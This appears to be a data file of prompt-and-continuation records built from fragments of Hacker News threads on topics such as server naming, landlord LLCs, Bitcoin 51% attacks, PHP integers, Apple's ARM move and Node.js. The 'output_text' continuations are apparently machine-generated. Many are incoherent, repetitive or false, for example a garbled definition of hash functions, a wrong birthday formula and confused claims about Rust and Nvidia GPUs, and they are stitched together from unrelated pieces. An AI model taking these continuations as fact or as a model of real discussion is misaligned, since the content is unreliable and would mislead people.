of\nnerds/hackers, and the business folk were a bunch of idiots to appreciate the\nhumor.\n\n------\njancsika\n> The game is built around the concept of \u201cblinks\u201d \u2014 when an object moves,\n> other objects are affected by the change.\n\nI thought this was a great metaphor for the way", "input_text": " times).\nCan't find the right example, but in a nutshell, the approach involved using\nborder-width to create triangles, and thus triangle meshes.\n\nYou might like this one: [https://keithclark.co.uk/labs/css-\nfps/desktop/](https://keithclark.co.uk/labs/css-fps/desktop/)\n\n------\nanonsivalley652\nAnimated even and the code looks hand-drawn. I <3 it.\n\nFun fact: I worked at a nuclear engineering consultancy in the 90's. That's\nthe not the fun fact. The hostnames of the computers were all Simpsons'\ncharacter names.\n\n \n \n rsh blinky\n \n ftp homer\n\n~~~\nrichthegeek\nI work at a place now that uses USS Starship names for projects.\n\nReally brings home the old adage about the hardest parts of computer science\nbeing naming things when the decision comes down to a discussion of the\nphilosophical implications of a TV episode from 1994.\n\n~~~\nPhrenzy\nA long time ago I was a sysadmin for a company that gave us a Windows client\ndesktop, and a desktop running Windows Server. The rule was that you had to\nname the server after a brewery. I'm not a beer drinker, so I named mine A&W.\nSpelled as \"Ayeanddubya.\" (Aye and dubya) That was fun for a while, people\nwould call it names like \"Abbadabba.\" I later switched it to Duff.\n\nDuring that time our manager, who wasn't that bright, rushed over and\nexclaimed. \"There is a rouge server on the network!\""} +{"output_text": " (Stockholm, Sweden) for example, the\n\"gentleman's agreement\" was first mentioned in a book called \"Svenska\nR\u00f6da Knappen\" (Swedish Red Coat) by Carl Jonas Love Almquist in 1844.\n\n[https://www.google.se/search?q=gentleman+s+agreement+stockholm...](https://www.google.se/search?q=gentleman+s+agreement+stock", "input_text": " better to just -\n\na> allow for the LLC to do what it was designed for: protect the owner from\nliability beyond the cost of the house\n\nand, b> let the municipality fine the LLC according to whatever rules exist\nabout whether it's morally reprehensible to remove a renter for failing to pay\na fine\n\n~~~\nFireBeyond\nThe issue is that without knowing who owns the LLC, then you can use a\ndifferent LLC for each property and skirt rules around taxes and other\nrestrictions on multiple property ownership.\n\n~~~\ntossAfterUsing\nMaybe i don't understand... what restrictions exist on multiple property\nownership?\n\n------\nm1sta_\nAll real estate should have named human owners. That ownership should come\nwith the equivalent of fiduciary duty.\n\n------\ntuesday20\nIs it hard to enact laws to prevent this? I remember reading some German towns\nbuying properties from shitty landlording companies to control housing\nsituation getting out of hand.\n\nI am a first time buyer and I am finding it hard to buy, despite making six\nfigures a year\n\n~~~\ngrogenaut\nWhere do you live?\n\n------\ncosmodisk\nAll this crap is essentially supported by a handful of countries: USA,UK( with\nall its dependant islands pretending to be innocent), Luxembourg, Switzerland,\nNetherlands and a few others. The rest of the world,including these countries\nthemselves pay astronomical price for this. It's fascinating to drive down\nPark Lane in London and see empty building opon empty building in one of the\nmost expensive streets on the planet.\n\n~~~\nfyfy18\nActually this sort of thing has been going on for hundreds of years in most\nEuropean countries. In my city"} +{"output_text": "throwaway-1282\n> Anyone can track Bitcoin transactions; That IS the blockchain.\n\nYes, but they can't do anything with it.\n\n> Undoing them will just result in a chain that they are still in the original\n> wallets keys, you STILL cant steal them.\n\nHow do you know that? You're talking about a chain that's public, and anyone\ncan see that it's public.\n\n> And the window for doing this", "input_text": " mind that this gives you two significant powers. First, you can more\nor less unilaterally dictate the new consensus blockchain, subject to the\nusual constraints that you can't create transactions that weren't\nappropriately signed. That is, you can't spend other people's money or\ndirectly destroy it. Second, you have a limited ability to _replace_ the\nconsensus with something else.\n\nThe first power, by itself, allows you to block certain transactions from ever\noccurring. You could pick some subset of coins and prevent them from being\nspent. This could be targetted against exchanges, random users, or maybe even\nbe based on geography. The goal (according to the article) is presumably to\nundermine confidence.\n\nThe second power can be used a lot more insidiously than just double-spending\nyour own coins. How about tracking all inbound transfers to some exchange over\nsome period of time and then undoing them? Now that exchange is out a lot of\ncoins. For extra fun, could use your consensus-choosing power to effectively\nlock down the coins that you just stole from the exchange so their original\nowners don't have them either.\n\nThere are probably even more interesting things you could do, too.\n\n~~~\nw-ll\nAnyone can track Bitcoin transactions; That IS the blockchain. Undoing them\nwill just result in a chain that they are still in the original wallets keys,\nyou STILL cant steal them. And the window for doing this is likely an hour or\n2 at tops, but still very unlikely.\n\nAn exchange might credit you on a few confirmed blocks, but after 6 (an hour)\nits pretty much confirmed, and any withdraws on the same chain will fail once\nthe 51% attack is over.\n\n~~~\n"} +{"output_text": " be a bad thing.\n\n~~~\njoe_the_user\nI'm not sure I follow.\n\nIt's certainly true that the people who run the company have a vested interest\nin keeping an eye on their employees. But it's also true that the employees\nhave a vested interest in keeping an eye on their coworkers.\n\nIf you're not being watched, you can act with impunity. If you are, you may\nhave to be more careful about what", "input_text": " a\nreally cool guy to talk to, well respected by everyone, etc. In fact, if all\nmanagers were like him, Staples would probably still be a force to be reckoned\nwith. So, it never bothered me the way it probably would have, had it been\nsome creepy manager. This is necessary for the rest of the story, because had\nit not been the case, I would have probably called him out, etc.\n\nEventually I started being extra jovial all the time, because I never knew\nwhen I'd miss seeing the light come on and miss the opportunity to impress\nBill.\n\nBill was so impressed with my service that I was given a raise and promoted to\nmanager of the copy & print center about 6 months later, which eventually led\nto me opening my own print company and quitting Staples (after seeing how high\nthe margins were), which led to me learning how to use Adobe Creative Suite\nand graphic design, which led to me shifting my focus to print design for\nclients (brochures, cards, etc.), which led to me meeting some guys who ran an\nInternet marketing company one day while trying to sell my print design\nservices. They wanted to hire me full time, and did, so I began learning web\ndesign, then web development, then back end code, etc.\n\nI always tell myself, 'I was probably destined for this kind of work', but the\nreality is that my entire life might have been changed by simply knowing I was\nbeing spied on by my Boss. I realize that it probably worked out for the\nbetter in my case, but the fact is, knowing that somebody is watching you\ncauses you to change who you are. It's a form of control in and of itself. In\nfact, it doesn't even need to"} +{"output_text": " that are present in a number\nof languages would be a really good thing.\n\nI'm not sure how many people here are familiar with Rust's number types, but\nthey are a pretty big deal in the land of FFI.\n\n~~~\npc86\nRust's number types are a big deal in the land of FFI because they are\nincluded in the standard library.\n\nPHP is not included in the standard library.\n\n------\njancsika", "input_text": "\n\n~~~\ngshubert17\nYou're right. I have a 32-bit build, since I get:\n\n* (log most-positive-fixnum 2) 29.0\n\nThanks.\n\n------\nwaynecochran\n\n /*author: Gauss */\n var n = 1000000000;\n var sum = n*(n+1)/2;\n\n~~~\ncgh\nNot sure why you're mentioning this as it's in the SO question:\n\n\"The correct answer can be calculated using\n\n1 + 2 +... + n = n(n+1)/2\"\n\n------\nck2\nKnowing how to use a language is critical to get expected results.\n\nThis gives the proper result in PHP by forcing the integer cast.\n\n \n \n $sum = (int) $sum + $i;\n\n~~~\npc86\nIt's been a long time since I've worked with PHP, I assume\n\n \n \n $sum += (int) $i;\n \n\nwill still convert to float once the size of $sum gets to the requisite size?\n\n~~~\nradiospiel\nOne of the reasons to stay away from PHP. Requesting and int but getting a\nfloat regardless? That doesn't sit well w/me.\n\n------\ndeerpig\nIt would have been interesting to see this problem solved in many different\nlanguages. But I guess that would kill the question on Stackoverflow.\n\n~~~\nVMG\nI don't think it would be that interesting - and I don't think we need to\nrediscover the fact that some languages use IEEE754 as the default number type\nover and over again\n\n~~~\nechohack\nI think demonstrating a set of features like this"} +{"output_text": "identifiers.html\n======\njrochkind1\n> _...the use of a hash function to scramble the user ID before it is sent to\n> the backend._\n\nSo, a hash function is a function that takes an arbitrarily long string of\nrandom bits and returns a string of random bits that has a good chance of\nmatching the original string of random bits.\n\nSo, a hash function is a function that takes an arbitrarily long string of\nrandom bits", "input_text": "\nof circumstances. They are doing ok -- well, even. And that they entirely\ndeserve credit for that. Anyone else? Not their problem. And if the other\nperson's circumstances leave them down and out: Well, they deserve that.\n\nSome of these people: They will take and take. I experienced this personally,\nthis past year, trying to help one of them out of difficult straights. As\ntheir circumstances improved -- not insignificantly through considerable dint\nof effort on my part -- they became less grateful rather than more, and a\ncriticism of others that I thought they were initially beginning to see past,\nreturned in full force.\n\nDirect kindness ultimately had no influence on their perspective _and\nbehavior_ \\-- no matter what words and attitudes they used to initially\nsolicit and gain support.\n\nAnd THIS really scares me, more than a bit. Or divests me somewhat more of my\nown apparently mistaken ideals.\n\nSome of these people, are simply intractable. There is no compromise with\nthem, no coming to a mutual understanding.\n\nWere the \"internationalists\" right, simply to try to leave them behind? No --\neven if they are intractable, simply ignoring them is short-sighted, in its\nown fashion.\n\nAnyway, I've glued enough P.S.'s onto this comment that reflects my continuing\nstruggle to find my own way through these set of personalities written\nwholesale onto our current politics.\n\n~~~\nangersock\nThank you for your writeup; it was thoughtful and well-phrased.\n\n \nMicrosoft, stop sending user identifiers in clear text - ramen-hero\nhttps://annoyedmicrosoftuser.blogspot.com/2015/10/microsoft-stop-sending-user-"} +{"output_text": " about themselves for\nknowing Q3:\n\n \n \n If n is the number of people in an office, then the expected \n number of people to have a birthday on any given day is:\n \n n (n-1) / 2\n \n\nIf you are not a math guy, just say so.\n\n~~~\njleader\nI'm a DBA, not a web developer, and I've had to do a lot of statistics", "input_text": " writing programs that solved a problem.\nThen continued with such an approach until hitting a wall due to lack of\nmathmatical knowledge. Learned whatever needed and moved on. Do I remmeber\nmost of the math I've had to learn? Not really. I don't use it everyday. If I\nhave to use it again, I'll just go to my reference material and refresh my\nmemory.\n\n _Well, if all you are doing is writing CRUD apps, I don't see how someone\nlike OP is going to be even remotely a good fit. You need a mechanic, you hire\na mechanic; you don't go looking for someone who can design a V engine._\n\nProblem is that all these tests do is promote the idea that real-world\nprogramming inside the matrix is about CS. Its not. Not knowing the answers to\nthe tests created by the OP does not make anyone a bad programmer. Hell, the\nmost productive programmer I know used to work with Visual Basic and\nExcell/Access all day long. His code served thousands of users and he shipped\nsomething out every week. When I asked him about big O notation his face drew\na blank. But boy could he knock out software in a couple of days.\n\n------\npja\nThis fun. I'd forgotten how much of this stuff I used to know.\n\n(ps, for Q3: if you know the formula for the Harmonic series then you can\nanswer this one very easily. If you don't, you're probably going to be a bit\nstuck.)\n\n------\nalexkus\nSent my answers in, reminds me how much I've actively avoided stats (I much\nprefer pure Maths).\n\n------\nchuppo\nI do not see how a web developer or DBA will feel better"} +{"output_text": "el\n> Would it be possible for Apple to have an optional dual processor system, an\n> ARM main processor and an optional Intel coprocessor?\n\nThis is literally what's happening with Nvidia GPUs.\n\n~~~\nsamwillis\nI know, but the ARM processor would be internal to the device.\n\n~~~\npjmlp\nIt already happens with Tegra X1, which is based on ARMv8a.\n\n[https", "input_text": ", but it will happen. As Ben hints,\nthis may cause a bigger industry shift as well. With Apple on ARM, it makes\nWindows and Linux ARM more palatable, in particular this could give ARM\nservers a significant boost.\n\n------\njimbokun\nWill LLVM IR allow developers to deliver binaries that will run on both Intel\nand ARM?\n\nI see the Swift compiler can output LLVM IR, can you do the same thing with\nObjective C code bases?\n\n~~~\nzozbot234\nNot really. LLVM is not a single interoperable IR, it's more like a family of\nIR's with many arch-specific details. WASM+WASI could work though.\n\n------\nkaiby\nI'm not a business guy, but if Apple's going all-in on ARM processors, and\nthen they expand into the server market (which the article speculates on),\ncould we potentially see Apple opening a new product branch devoted to\ncompeting in the Cloud space with AWS, Azure, and GCP?\n\nImagine developing apps on an ARM-powered macbook, deploying onto ARM-powered\nservers owned by Apple, specifically for applications to be used on MacOS &\niOS devices.\n\n------\nsamwillis\nWould it be possible for Apple to have an optional dual processor system, an\nARM main processor and an optional Intel coprocessor? That way for people who\nneed support for \u201clegacy\u201d x86 apps or for development they could get it.\n\nCould you have an external Intel coprocessor like we have external GPUs?\n\n(I know nothing about how this would work, obviously the traditional way would\nbe to just have an remote x86 server for running those tasks)\n\n~~~\nporn"} +{"output_text": " how to get it to the people who need it?\n\nThe other half is distribution. You need to get the cure to the people who\nneed it. That means making sure that the people who need it can afford it, and\nthat they have access to the right medicine. That means making sure that the\nmedicine doesn't get into the wrong hands. That means making sure that the\neconomy doesn't collapse.\n\nIf you have a patent, you can stop people", "input_text": " be a written description or enablement problem.\nCaveat: I\u2019m a lawyer but this is not legal advice, just entertainment.)\n\n> executing with the selected application the at least one process in response\n> to the command;\n\n> generating output data in response to the selected application executing the\n> at least one process;\n\n> and transmitting the output data to the mobile device.\n\n------\nlordnacho\nThe whole patent system needs a good looking at. I'm not a lawyer, but I did\nmanage to get a patent a few years ago. It was for something obvious (math in\nfact!), but my business partners at the time thought it was worth getting.\nHaven't used it to troll anyone, and I don't like the idea, but the process\ndid get me thinking a lot about whether patents are a net positive to society.\n\nI think they aren't.\n\nHaving a patent system gives people the wrong impression that there's some\nspecial nugget of knowledge that is crucial to creating value. You often hear\npeople who aren't in the entrepreneurial space talk about how they just need a\n\"good idea\". In practice, there's very few things that work that way. Every\ntime I've started a business, there's been a lot of work that isn't so much\ndeveloping \"the idea\" as much as finding ways to connect it economically the\nrest of the world. Whereas the naive view would be something like \"once we\ninvent fusion, it will be easy to sell\".\n\nFor similar reasons, exclusivity is not necessarily a good way to reward\ninnovators. Essentially my thinking is that innovating is actually only half\nthe work, if even. Say you invent the cure for coronavirus. How useful is that\nactually, without a plan for"} +{"output_text": " a net negative on\nthe free software movement. He has driven people away from it, and in the\nprocess has made it harder to achieve his ideal.\n\n~~~\nmwfunk\nI don't know that I would characterize his actions and beliefs as being a\nnegative on the free software movement. I think that he has done a lot to\nimprove the situation, and I'm grateful for that. But I don't think that he's\ndone it in the way that would", "input_text": "gcc.gnu.org/ml/gcc/2014-01/msg00247.html](https://gcc.gnu.org/ml/gcc/2014-01/msg00247.html)\n\n~~~\nmwfunk\nThe fact that he even uses the term \"adversaries\" in this post is\ndisheartening. It's really disappointing that someone who could potentially be\nsuch a force for good in the world gets derailed by what is basically\ntribalism.\n\nTwo parties can disagree on 99% of their beliefs, yet still find ways to come\ntogether on the 1% that they happen to agree on. These parties can work\ntogether to each others' mutual benefit, and the world is better for it. But\nnooooooooo, not RMS. He has to demonize anyone who is not 100% in lockstep\nwith him on everything, to everyone's detriment, and throw his \"adversaries\"\ninto a trash bin labelled \"Others\".\n\nIt's a self-fulfilling prophecy. It's easy to drive people apart in the name\nof some ideal. It takes actual leadership to drive otherwise separate people\ntogether to actually accomplish something. I have wished for so many years\nthat RMS would care enough to provide the latter instead of the usual former.\n\n~~~\n__david__\n> It's easy to drive people apart in the name of some ideal. It takes actual\n> leadership to drive otherwise separate people together to actually\n> accomplish something.\n\nRight there is the crux of the matter. RMS is _only_ focused on the ideal. To\nhim, \"accomplishing something\" is only relevant when the accomplishment is\nfree software that can't be locked away in proprietary codebases.\n\nViewed through that lens, his actions and beliefs have been"} +{"output_text": " you have a daemon that communicates with\nKubernetes, that spawns a daemon that spawns rkt, that spawns a daemon that\nspawns rkt, that spawns a daemon that spawns rkt...\n\nAnd that's just one of the daemons.\n\n[1] [https://github.com/rkt/rktlet](https://github.com/rkt/rktlet)\n\n~~~\n", "input_text": "\norder to interface with tools that may or may not have any good reason to be\nrunning on an ongoing basis is to me.\n\nI'm sure there may be cases where you interact with the containers frequently\nenough that spawning a process each time is actually a worthwhile\noptimization, but more and more of these containerisation systems are becoming\nan unholy mess of daemons that needs to run in order to run and manage\ncontainers that need not depend on anything but the host init/systemd.\n\nE.g. one of the really appealing things of rkt for me is the simplicity -\ndepending on the level of isolation everything is running either direclty\nunder systemd, or under an individual isolator like systemd-nspawn.\n\nI disliked this tendency towards a herd of daemons intensely when Docker\ncontinued as it started and used HTTP for volume/network plugins, and I\ndislike it just as much now.\n\nIt's as if someone sat down and thought long and hard about how to add more\ncomplexity and more \"fun\" failure modes.\n\n~~~\nwmf\nIt's the microservice philosophy: Why use a function call or fork/exec when\nyou can use RPC? (At least CRI is binary RPC instead of JSON over HTTP/1.)\n\nAlso, Go doesn't dlopen AFAIK.\n\n~~~\nvidarh\nIt gets better. Take a look at rktlet, a CRI implementation for rkt (EDIT: I\noriginally mistakenly wrote Docker). Specifically the runtime [1], which ends\nup shelling out to the \"rkt\" binary.\n\nSo you end up running a new daemon that communicates with Kubernetes via gRPC,\nthat then spawns rkt anyway. So"} +{"output_text": " thing at a time, and I was pretty\ngood at programming.\n\nI have had a few doctors tell me I have ADHD, but I always found their\ndiagnosis to be a little lacking. I have had a few friends tell me they think\nI have ADHD too, but I always found their diagnosis to be lacking as well.\n\nI have had a few friends tell me I should try Adderall, but I don't like the\nstigma that comes with it", "input_text": "------\npieperz\nI always thought I was ADHD, then I started a business, turns out I just like\nto do things my way and lead not follow. I've struggled to \"focus\" my whole\nlife I'm a jack of all trades and master of none.\n\nWhen you find the right thing you'll know. I would do what I do now for free\nor if I was worth 100 Million because I love the game.\n\n~~~\nriekus\nAnd what is it that you do?\n\n~~~\nlatexr\nI\u2019d also like to know.\n\n------\ntombert\nI cannot speak for anyone else, but what you described is very similar to what\nI went through for most of my life.\n\nIt felt like there would be periods where I would be so adverse to any kind of\nwork, and look for any possible reason to push it off or do nothing, and spend\nthe rest of the day on Reddit or HN.\n\nEventually I started seeing a psychiatrist, and he diagnosed me as manic\ndepressive, with possibly a case of ADD.\n\nHe prescribed me a combination of Lamictal and Wellbutrin (the latter of which\nis also prescribed occasionally for ADD), and I can honestly say that it has\nchanged my life.\n\nI used to think that I was just lazy, and maybe I was, but I am certainly not\nanymore. My job has been a lot easier to do, I don't look for excuses to spend\nall day on Reddit, and my life has simply been better.\n\n------\ntoomanybeersies\nI suffer the same as you, but at a younger age.\n\nI have also been wondering if I suffer from ADHD too. Even at university I\nreally struggled to sit there and do one"} +{"output_text": " my new projects from scratch\nbecause I don't want to be held back by the old ways of doing things.\n\n~~~\n_def\nI think you are right. I have been in the game for a while and have seen many\ndifferent approaches to code. I agree that debugging without tests is very\nuseless.\n\nBut I think that the approach you described is not the best one. I have seen\nmany projects where the devs don't write any tests at all", "input_text": " to\nwasting so much time debugging them.\n\nThanks for the education Frank, I did learn a lot from you.\n\n~~~\n_def\nI have a feeling I know why he hired you instead of writing it himself...\n\nAlso contributing my part: a boss declining unit tests because they cost\nmoney. In the meantime, he's wondering how crucial bugs appear again and again\nand urges us to be more careful. It's always a relieve to leave those places\n:)\n\n~~~\ncryptica\nThis mindset of \"you don't need tests, just don't write bugs\" sounds extremely\nnaive and amateurish at first but having worked at many different kinds of\nlarge and small tech companies around the world for over a decade, I now think\nthat there is actually real wisdom behind that mindset and I've met some very\ntalented engineers who share that thinking to various extents.\n\nDebugging trains you to think about code. I think most of my programming skill\ncomes from my open source project work where I didn't write tests initially.\nNow I can simulate code in my mind without having a computer in front of me.\nThis is a really useful skill - You need to be under some kind of mental\nstress to learn this kind of skill.\n\nWhen you don't have tests to rely on, your mind is forced to hold on to more\ndetails about different interralated parts of the code and over time, this\nmental stress trains you to hold a massive amount of detail in your mind and\nthis helps you to write much better code. Also, being forced to hold a lot of\ncode in your mind gives you a strong incentive to design clean simple\narchitectures.\n\nWriting bug-free code is not difficult for me now. Even on very complex\ndistributed projects. I do write tests for"} +{"output_text": " tape, and the roll falls apart.\n\n------\njoe_the_user\nI'm not sure the author makes a strong case for the value of art.\n\nThe author notes that the value of art is not fixed, but I'm not convinced that\nthe variability in value is that great.\n\nTake a work of art that's worth a lot, like a Rembrandt. Over time, the value\nof that work of art will probably be pretty stable.", "input_text": " of which of course\nbecomes part of it). Suppose you picked up a book on real analysis without\nunderstanding basic arithmetic. Would it be the fault of the author that you\ndidn't understand what you were looking at? Would they have done something\nwrong?\n\nOne way to think about art is that each piece is made at a point in time but\nis participating in a long din of conversation(s). If you don't understand the\ngeneral arc of the conversation (or at least the conversation going on right\naround you), you will miss some of the aesthetic value of any piece. This is\nas true of Michelangelo as it is of Barnet Newman even if you have more\ncontext-free aesthetic/technical appreciation for Michelangelo's work.\n\nMost museums also have docents which are usually more than happy to talk about\nvarious pieces.\n\n------\nPica_soO\nMy uncle works in art-work transportation, and some of the pieces are\nbasically not transportable, but are travelling from museum to museum anyway.\n\nHe remembers a charcoled doorframe, that had to be transported although it\nbasically could come apart any second once moved. They have vibration reducing\nspecial boxes, with the same climate protection as humidors have it. Also\nthere are titanic insurance fees at work, to move art. And sometimes, somebody\nin some state run museum, is forced to take the cheapest option available. One\nof those haulers venturing into art, transported a artwork by a Chinese\nartists (do not know the name), basically very long paperrolls with Chinese\nletters on them to be hung from a halls ceiling. Those rolls they come in\ncardboard boxes, sealed with tape- and the poor fellow, takes a cutter, and\nsystematically, cuts through the"} +{"output_text": " plumber in a city.\n\n~~~\nTeever\nIn my experience, this is mostly true. But I also live in a small town and\nfind it's pretty easy to find people to hire.\n\n------\njelliclesfarm\nI wonder if this is a factor in the rise of the 'sharing economy'?\n\n------\nmfer\nI wonder if this is a factor in the rise of the \"gig economy\"?\n\n------\nmfer\n", "input_text": ", burgling,\nfraud, etc., where there is a good chance at rehabilitation, esp., if the\ncrime was fueled by drug addiction.\n\n~~~\nTeever\nI worked with someone who had 16 assault charges. To be totally honest I'd\nprefer working with someone convicted of murder than that guy.\n\nThe thing with 16 charges of _anything_ is that you know there's going to be a\n17th, an 18th... and so on.\n\nSome people can be rehabilitated, some people can't. Severity of the crime\nisn't necessarily indicative of that.\n\n~~~\nvidarh\nYou'd likely be right to do so. Murder actually has an extremely low repeat\nrate. Murderers does have a higher chance of committing another crime on\nrelease than people not convicted of a crime, presumably in part because of\nhigher chance of unemployment and poverty, but most murderers are extremely\nunlikely to ever kill again as most murders are crimes of passion in extreme\ncircumstances that are extremely unlikely to occur again.\n\n------\nthatoneguy\nFWIW, when I was at Google I had at least two colleagues with felony records.\nIt made me even more proud to work there as it showed the company was willing\nto look beyond mistakes made in someone's past.\n\n------\nGraffitiTim\nThere's a YC app for that:\n\n[https://www.70millionjobs.com/](https://www.70millionjobs.com/)\n\n------\nSelfcommit\nI'm really confused - when did we suddenly start having a labor shortage?\n\n~~~\nSpooky23\nWe do a shitty job at educating people, so it\u2019s hard to hire qualified people\nin many industries.\n\nTry finding a master"} +{"output_text": "\n\n~~~\nDanBC\nI think that the people who own the shell companies are very careful to protect\nthemselves.\n\nI have a number of companies in my name, and I have a number of companies in\nother people's names. I have no idea who owns any of those companies, and I\ndon't care.\n\nI have a number of bank accounts in my name, and I have a number of bank\naccounts in other people's names. I", "input_text": "\nreforms](http://www.justice.gov.uk/civil-justice-reforms))\n([http://www.justice.gov.uk/legal-\naid/funding](http://www.justice.gov.uk/legal-aid/funding))\n([http://www.justice.gov.uk/legal-aid/areas-of-\nwork/civil/high...](http://www.justice.gov.uk/legal-aid/areas-of-\nwork/civil/high-cost-cases))\n\nii) There was a case some years ago where two women (sisters?) were accused of\nswapping eggs. They were accused of taking cheap eggs out of the carton and\nputting expensive eggs in. They were offered a lot of money, but \"wanted their\nday in court\", and although the court said they didn't swap eggs the court\noffered a smaller amount in damages, which got wiped out by the costs they had\nto pay.\n\nThis is the kind of thing that I find tricky to web search for. It seems like\nit should be easy - [\"legal case\" \"eggs\"] and then various supermarket names.\nI should try limiting the date range to before 2005. But if anyone has any\ntips about how to better search for it I'd be grateful. (Of course, Usenet\nnews probably has some discussion about it, but Google is sub-optimal for\nsearching their Usenet archive. It's a great shame.)\n\n~~~\nradley\nWon't matter: a shell company can dissolve and not pay anything if they lose.\n\n~~~\nloup-vaillant\nWhat about holding the stakeholders personally responsible? Could it be done\nwithout too much side effects?"} +{"output_text": " that it's not like node.\n\n~~~\nkarterk\n_The decrease in productivity with node comes from having to write everything\nwith callbacks._\n\nI don't know about that. I have done a lot of Node.js apps, and I have never\nhad to write any callback spaghetti.\n\nI am not sure what you mean by \"programming asynchronously is crazy\". Can you\nplease elaborate?\n\n~~~\nhasenj\nI mean", "input_text": " These are all nice and good, and they _do_\nincrease your productivity, but, _only on the client side_.\n\nIf you're looking for performance and non-blocking IO, use Go, it's much\nbetter at that.\n\n~~~\nkarterk\n_You may see some very nice libraries/tools coming out around node.js, like\njade, coffeescript, and stylus. These are all nice and good, and they do\nincrease your productivity, but, only on the client side._\n\nI disagree. Firstly, CoffeScript is not confined to the client-side. Besides,\nthere are some modules like socket.io for which you will hardly find any\nsubstitues in other eco-systems.\n\nYou're also discounting the effects of context shifts between two separate\nlanguages - one on the client side, and the other on the server side.\n\nLastly, I would like to know what you find productive about Go, that's not the\ncase with either CS/JS on Node.\n\n~~~\nhasenj\nThe decrease in productivity with node comes from having to write everything\nwith callbacks. Programming asynchronously is crazy, it makes very simple\nalgorithms very annoying to write.\n\nI'd say it's almost like writing in assembly. You have to write your code in\nsome pseudo code first, synchronously, then translate that into the\nasynchronous callback spaghetti than node requires.\n\n> Lastly, I would like to know what you find productive about Go, that's not\n> the case with either CS/JS on Node.\n\nNot having to write everything asynchronously?\n\nI haven't actually used go, but the way goroutines communicate (and\nsynchronize) with channels suggests to me"} +{"output_text": "\n------\nm3kw9\nI wonder if the US is going to sell weapons to NK?\n\n~~~\nm3kw9\nWhy the down votes?\n\n~~~\nthrowawaysea\nBecause this comment is ridiculous. The US is not going to sell weapons to\nNK.\n\n~~~\nm3kw9\nWhy not? NK is a nuclear state with the capability to attack US.\n\n~~~\nthrowawaysea\nBecause NK is not a US ally", "input_text": " was struck: go for peace, you'll\nremain a buffer and own state. We'll support you and will be able to push\ninvestments into your country. Capitalism with socialist characteristics-\nstyle.\n\n------\ngolergka\nTrump's madman tactic turned out to be much more effective than everyone gave\nhim credit for. Who would have thought.\n\n~~~\nlouhike\nMaybe it's giving it too much credit to say it happened because of him or that\nit was what he planned.\n\n~~~\nfrockington\nSouth Korea thanked him and said he had a big role. It's definitely not 100%\non him but he had a large role\n\n~~~\nlightbyte\nThe only thing that drives him is praise, seems like an easy way to suck up to\nhim regardless of what he actually did\n\n------\ngaius\nI expect this will be a chapter in The Art Of The Deal vol II\n\n~~~\nfnord123\nI'm very naive of NK/SK politics but I do wonder how much of this was\ninfluenced by installation of John Bolton who is absolutely frothing at the\nmouth for a war with NK.\n\n~~~\ncreaghpatr\nOr Mike Pompeo, who secretly met with Kim before being confirmed as Secretary\nof State.\n\n------\nelvirs\nI think, unfortunately, all of this is just a show put on by NK because and\nIran has paid them to do it. In the first week of May lifting US sanctions off\nIran has to be renewed and Trump was 99% expected not to renew lifting those\nsanctions (a process started by Obama). Now by making this move NK is going to\nmake US look like an unreliable peacemaker if Trump decides not to extend\nsanctions lifting off Iran.\n"} +{"output_text": "\n~~~\njamespitts\nI think that's a good point. I'm not sure what the press release would even\nbe about if it wasn't for the Watson AI. I'm not sure what the Watson AI\ncould do for agriculture that a farmer couldn't do on his/her own.\n\n------\njamespitts\nI'm curious about the Watson AI capabilities. I'm not familiar with the\ndomain. Can someone explain what the Watson AI can", "input_text": " one access of the Watson\nAPIs and discovered the shocking restrictions/requirement that the system\napparently \"needs\" unstructured text, and if your dataset is more structured\nthan unstructured they won't accept you into to the program.\n\nNeedless to say I was a bit annoyed, because I was already using fact\nextraction in the system I wanted to test Watson's query'skill' on. I'm in no\nposition to store the raw text. That would require over a hundred times more\nstorage, probably closer to a thousand times the storage costs, making it\nfiscally untenable for me to even build the database let alone a product with\nit. Any idea if release 2 in October will change this restriction and give\npeople who aren't sitting on GB of unstructured text, like myself, a chance to\napply.\n\n------\nbiomimic\nOther companies focused on genes related to extending human life span are\nGoogle's Calico\n[http://en.wikipedia.org/wiki/Calico_(company)](http://en.wikipedia.org/wiki/Calico_\\(company\\))\nand [http://genopharmix.com](http://genopharmix.com) and\n[http://www.humanlongevity.com/](http://www.humanlongevity.com/)\n\n------\npseudometa\nAs awesome as it was watching it play Jeopardy, it feel like that is all it\nhas ever done. So many press releases boast about the areas it could improve,\nhowever the real-life tangibles seem disparate at best. It would be great if\nthe PR department touted its actual, real-life, in-the-field results rather\nthan hypotheticals. Next up, Watson considered for role in improving food\nproduction!\n"} +{"output_text": " into feeling motivated?\n\n~~~\nkstenerud\nMotivation is a function of expectation fulfillment ratio. If I expect to do\nX, and I get X, I'm motivated. If I expect to do X, and get Z, I'm not\nmotivated.\n\nIf you're not clear on what you're expecting, you can't know if you're\nmotivated.\n\n~~~\nasdljkaslk\nI think I get the idea. I", "input_text": "s\" this isn't going to achieve the desired\noutcome.\n\nSimilarly with \"getting s __t done \" I suspect. Although your brain knows that\nit should be cutting code or writing blog articles, it actually prefers to\nread HN and research the security measures used in triggering mechanisms for\nthe primary stages in thermonuclear weapons.\n\nThat being the case it sounds like you are already taking all the typical\ncountermeasures : don't have food in the fridge; count food points; try to\nkeep the long term goal in mind..\n\nOne other thing I'd say in the context of freelancing and remote work is that\nyou may be unfairly judging yourself, or rather comparing yourself to a\nmythical perfect version of yourself, due to the lack of available other\npeople with which to compare your achievements.\n\n------\nasdljkaslk\nI think motivation is one of the most fundamental parts of human existence. I\nthink it should be studied so much more.\n\nOften we talk about it at such a high level. But in the end everything boils\ndown to the second-by-second internal monologue, and all the context and life\nexperience surrounding this monologue.\n\nBeneath this is the raw emotions that we feel and cannot explain. Its like\nwhen you're looking at a stack trace and it stops at an internal call into a\nprivate api.\n\nI'd love to know more about the inner workings of people's internal\nmonologues. Are there consistent patterns of thoughts that can lead people\ninto the state of flow? How does the mind wandering into a day dream\ncontribute to our motivation? Perhaps ignorance is bliss, and seeing behind\nthe curtain spoils the show. Are we driven by our delusions of grandeur?\n\nCan we trick ourselves"} +{"output_text": "q.\n\n~~~\nkccqzy\nWhat do you mean? You can use monads in C, or in any language with a\nstatically typed language core.\n\n~~~\ngoto11\nI mean that you can write a monad in any language with a statically typed\nlanguage core. You don't need a library to write a monad. You can write a\nfunction that takes a number and returns a number and that's all.\n\n------\n", "input_text": "=lisp) (Interactive,.NET Lisp)\n\n\\- #Script Code [https://sharpscript.net/linq/restriction-\noperators?lang=code](https://sharpscript.net/linq/restriction-\noperators?lang=code) (Interactive,.NET JS-Like)\n\n\\- Elixir [https://github.com/omnibs/elixir-linq-\nexamples](https://github.com/omnibs/elixir-linq-examples)\n\n\\- Python 